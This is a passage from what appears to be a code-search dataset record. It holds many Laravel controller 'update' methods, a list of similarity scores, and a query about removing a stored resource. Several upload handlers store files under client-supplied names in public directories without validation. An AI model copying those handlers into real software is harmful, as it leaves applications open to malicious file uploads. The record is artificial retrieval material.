Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { $guider = $this->companyRepository->deleteGuider($id); if ($guider) { return response()->json([ 'success' => true, 'message' => 'Delete guider successfully', ]); } return response()->json([ 'success' => false, 'message' => 'Delete guider fail', ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = 